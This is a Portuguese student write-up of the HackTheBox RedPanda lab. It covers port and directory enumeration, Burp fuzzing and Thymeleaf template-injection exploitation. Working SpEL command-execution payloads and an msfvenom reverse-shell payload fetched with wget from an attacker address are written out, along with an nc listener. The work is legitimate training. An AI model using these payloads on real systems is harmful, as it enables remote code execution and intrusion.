Você está na página 1de 21

Desafio NEXT

CTF HackTheBox
(Fase 6)

CAUÃ MACHADO SANT’ANNA DE ALMEIDA - RM 88547

GUSTAVO LIMA DA SILVA - RM 89146

MARÍLIA GONZALEZ FERREIRA SCATENA - RM 87593

PETERSON PORTELA CARDOSO - RM 87076

1
Sumário

1.0 Relatório de teste de penetração 2


1.1 Introdução 3
1.2 Objetivo 3

2.0 Resumo 4

3.0 Metodologia 5
3.1 Information Gathering 5
3.2 Enumeração de serviços 5
3.3 Exploração 15
3.4 Pós-exploração 18

4.0 Referências 20

2
1.0 Relatório de teste de penetração

1.1 Introdução

Este relatório de teste de penetração contém todos os esforços que foram realizados
para localizar as 2 flags existentes na máquina RedPanda, da plataforma HackTheBox.

Foi feita uma exposição dos caminhos escolhidos em cada execução para possibilitar
uma compreensão completa dos processos realizados ao se explorar as vulnerabilidades
encontradas e indicar maneiras de solucioná-las.

1.2 Objetivo

O objetivo deste relatório é realizar um teste de penetração na máquina RedPanda,


demonstrando suas fragilidades e localizando as 2 flags presentes nela. Este relatório foi feito
com o intuito de exemplificar os passos práticos executados, de forma que seja possível a
reprodução dos mesmos, conseguindo assim efetuar a exploração das vulnerabilidades que
tornam possíveis a captura do conteúdo dos arquivos citados.

3
2.0 Resumo
Como parte dos estudos para o curso de Defesa Cibernética da FIAP, foi solicitada a
realização de um teste de penetração na máquina chamada “RedPanda”, da plataforma
HackTheBox. O objetivo geral é avaliar a rede, identificar sistemas e explorar falhas enquanto
buscamos as 2 flags.

Ao realizar o processo de reconhecimento da máquina alvo foi identificada uma


vulnerabilidade de Server Side Template Injection, e ao prosseguir com os testes foi possível
executar comandos remotamente, levando assim à captura da flag user. Uma descrição de
como foram obtidos os acessos, está listada abaixo:

4
3.0 Metodologia
Foi utilizada uma abordagem amplamente adotada para realizar testes de penetração
que é eficaz em testar a segurança dos laboratórios de segurança ofensiva e ambientes de
exames, através de 4 etapas:

1. Information Gathering;

2. Enumeração de serviços;

3. Exploração;

4. Pós Exploração

Abaixo está uma descrição de como foi possível identificar e explorar o sistema e as
vulnerabilidades individuais encontradas.

3.1 Information Gathering

A parte de coleta de informações de um teste de penetração se concentra na


identificação do escopo do teste de penetração. Nesta etapa, foi possível identificar o endereço
IP da máquina alvo:

IP: 10.10.11.170

3.2 Enumeração de serviços

A parte de enumeração de serviços de um teste de penetração se concentra na coleta


de informações sobre quais serviços estão ativos em um sistema ou sistemas. Em alguns
casos, algumas portas podem não estar listadas.

Server IP Address Ports Open


10.10.11.170 TCP: 22, 8080

A ferramenta Nmap foi utilizada para a descoberta de portas abertas, bem como uma
coleta inicial de qual serviço estaria rodando em cada porta e possíveis vulnerabilidades
atreladas a estes serviços.

5
# nmap -v -p- -A 10.10.11.170 -oN htbredpanda

Ao identificar que a porta 8080 estava aberta rodando o serviço http, foi possível deduzir
que um servidor web estava rodando na máquina. Assim sendo, acessamos o endereço da
máquina pelo browser, no qual foi exibido a página a seguir:

6
Acesso ao endereço 10.10.11.170 através de um web browser

O próximo passo foi efetuar a enumeração de diretórios e páginas no servidor alvo,


buscando alguma pasta ou página que contivesse informações úteis para a exploração. Para
tal, foi utilizada a ferramenta Gobuster com os parâmetros descritos a seguir.

7
# gobuster dir -u http://10.10.11.170:8080 -e -w /usr/share/wordlists/dirb/big.txt > gobuster

Assim, foi possível identificar a listagem de alguns endereços referentes à página. Na


busca, o único endereço válido encontrado foi o /stats, que retornou o código 200.

8
Voltando para a página inicial, decidimos navegar para entender o seu funcionamento e
procurar algum ponto de exploração. A página inicial consiste somente de um campo de input,
em que o servidor faz uma busca baseada na entrada. Inserimos a palavra “teste”, que me foi
refletida junto com a mensagem de que não foram encontrados resultados.

Acesso ao endereço: http://10.10.11.170:8080

Vendo esse resultado com o parâmetro refletido, 2 vulnerabilidades nos surgiram em


mente num primeiro momento: SSTI e XSS Reflected. Levando em consideração suas
severidades, optamos por fazer mais testes para investigar o possível Server Side Template
Injection.
O primeiro teste relacionado que escolhemos fazer foi inserir uma operação matemática
para verificarmos se as entradas inseridas estavam sendo processadas por alguma engine. Ao
inserir 9*9, o resultado retornado foi o resultado da operação (81), o que confirmou nossa
suspeita. O próximo passo foi fazer um fuzzing.
Para efetuar o fuzzing, decidimos utilizar o Burp Suite. O primeiro passo foi interceptar a
requisição usando o browser do Burpsuite.

9
Browser do Burp Suite

Requisição interceptada para efetuar o fuzzing

Com uma simples pesquisa na Web, encontramos um repositório com algumas SecLists
para efetuar um Fuzzing com a requisição interceptada.

10
Pesquisa de SecLists

Com a utilização da SecList


https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-expression.
txt, adicionamos a requisição ao Intruder para efetuar o attack utilizando essa lista:

Payload para efetuar o ataque

11
SecList configurada para efetuar o Fuzzing

Fuzzing com expressões de engines

12
Fizemos o teste com o payload na página para ter mais uma confirmação.

Payload replicado na página

Sabendo o modelo de template utilizado, nossa próxima ação foi verificar quais
caracteres especiais são suportados. Para isso, executamos um novo fuzzing, dessa vez
usando uma lista com caracteres especiais.

13
Fuzzing com caracteres especiais

14
3.3 Exploração

Com o conhecimento do modelo de template e caracteres especiais aceitos, foi a hora


de testar alguns payloads. Nesse momento nos atentamos ao fato que o padrão de template
encontrado era similar ao da engine Thymeleaf. Em um artigo da Acunetix
(https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/), encontramos
uma explicação interessante os tipos de expressões utilizadas pela engine:

Tipos de expressões do Thymeleaf

Assim sendo, iniciamos a busca por payloads maliciosos que pudéssemos usar para
explorar a vulnerabilidade. Acessamos um repositório no github que contém uma série de
payloads para SSTI
(https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-templ
ate-injection/el-expression-language.md). Começamos a testar alguns payloads de RCE que
estavam na página, e após inserir um deles mudando a expressão conseguimos executar um
comando na máquina remota:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("ls -la").getInputStream())}

15
Payload sendo processado pela engine

Tendo achado um payload válido para executar comandos, fizemos uma enumeração
usando o comando ls e mapeando os diretórios até achar a flag em /home/woodenk

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("ls
/home/woodenk/").getInputStream())}

Flag user.txt encontrada no diretório /home/woodenk

Após conseguirmos achar o arquivo user.txt, apenas usamos o comando cat e tivemos
o conteúdo do arquivo impresso na tela. O valor retornado foi
7b98bf7bcbbd863411ebf6517eef2522.

16
O comando utilizado foi:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat
/home/woodenk/user.txt").getInputStream())}

Conteúdo da flag impresso

Depois disso submetemos a flag na plataforma, finalizando assim a primeira parte do


desafio.

Flag de usuário capturada

17
3.4 Pós-exploração

A partir desse momento, o endereço está funcionando para efetuar RCE (Remote Code
Execution), ao injetar um “wget” é possível buscar algum arquivo na web ou na máquina
atacante.
Com o utilitário msfvenom, é possível criar um payload que forneça um shell reverso e
com o HttpServer do Python é possível disponibilizar esse payload para que a máquina alvo
consiga acessar através de um wget.
Com o comando a seguir, criamos um shell reverso com para a porta 443 na máquina
atacante e disponibilizamos o arquivo na porta 80:

$msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.30 LPORT=443 -f elf > rm89146.elf


$sudo python -m http.server 80

Gerando payload com shell reverso e disponibilizando via HttpServer

Na máquina alvo, podemos injetar o código na caixa de pesquisa para executar o wget
no arquivo do payload, dar permissão total no arquivo com o payload e executar o arquivo com
o payload.
Os comandos para injetar nosso código na caixa são:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("wget
10.10.16.30/rm89146.elf").getInputStream())}

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("chmod 777
./rm89146.elf").getInputStream())}

18
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("./rm89146.elf".getInputStream
()))}

Com o utilitário nc (NetCat) configurei a porta da minha máquina local que coloquei no
payload em modo de escuta, e ao executar o arquivo no sistema alvo foi possível ganhar
acesso ao shell.

nc -lvnp 443

Acesso a máquina alvo efetuado com sucesso

19
4.0 Referências

Fuzzing. Disponível em:


https://owasp.org/www-community/Fuzzing .

Getting started with Burp Proxy’s intercept feature. Disponível em:


https://portswigger.net/burp/documentation/desktop/tools/proxy/getting-started-intercept .

MSFvenom. Disponível em:


https://www.offensive-security.com/metasploit-unleashed/msfvenom/ .

Official RedPanda discussion. Disponível em:


https://forum.hackthebox.com/t/official-redpanda-discussion/261025 .

Penetration testing execution standard (PTES). Disponível em:


https://www.geeksforgeeks.org/penetration-testing-execution-standard-ptes/ .

POLOP, C. El-expression-language.Md at master · carlospolop/hacktricks. Disponível em:


https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-tem
plate-injection/el-expression-language.md

PHPLiteAdmin 1.9.3 - Remote PHP Code Injection. Disponível em:


https://www.exploit-db.com/exploits/24044 .

20
SOHVAXUS. Gobuster guide and examples. Disponível em:
https://sohvaxus.github.io/content/gobuster.html .

SSTI (server side template injection). Disponível em:


https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection .

SWISSKY. Reverse Shell Cheatsheet.Md at master · swisskyrepo/PayloadsAllTheThings.


Disponível em:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%2
0Resources/Reverse%20Shell%20Cheatsheet.md .

Your ultimate guide to fuzzing. Disponível em:


https://forallsecure.com/resources/ultimate-guide-to-fuzz-testing .

Burp Suites Intercept Function. Disponível em:


https://www.technipages.com/burp-suites-intercept-function .

Danielmiessler/SecLists. Disponível em:


https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-expressi
on.tx .

21

Você também pode gostar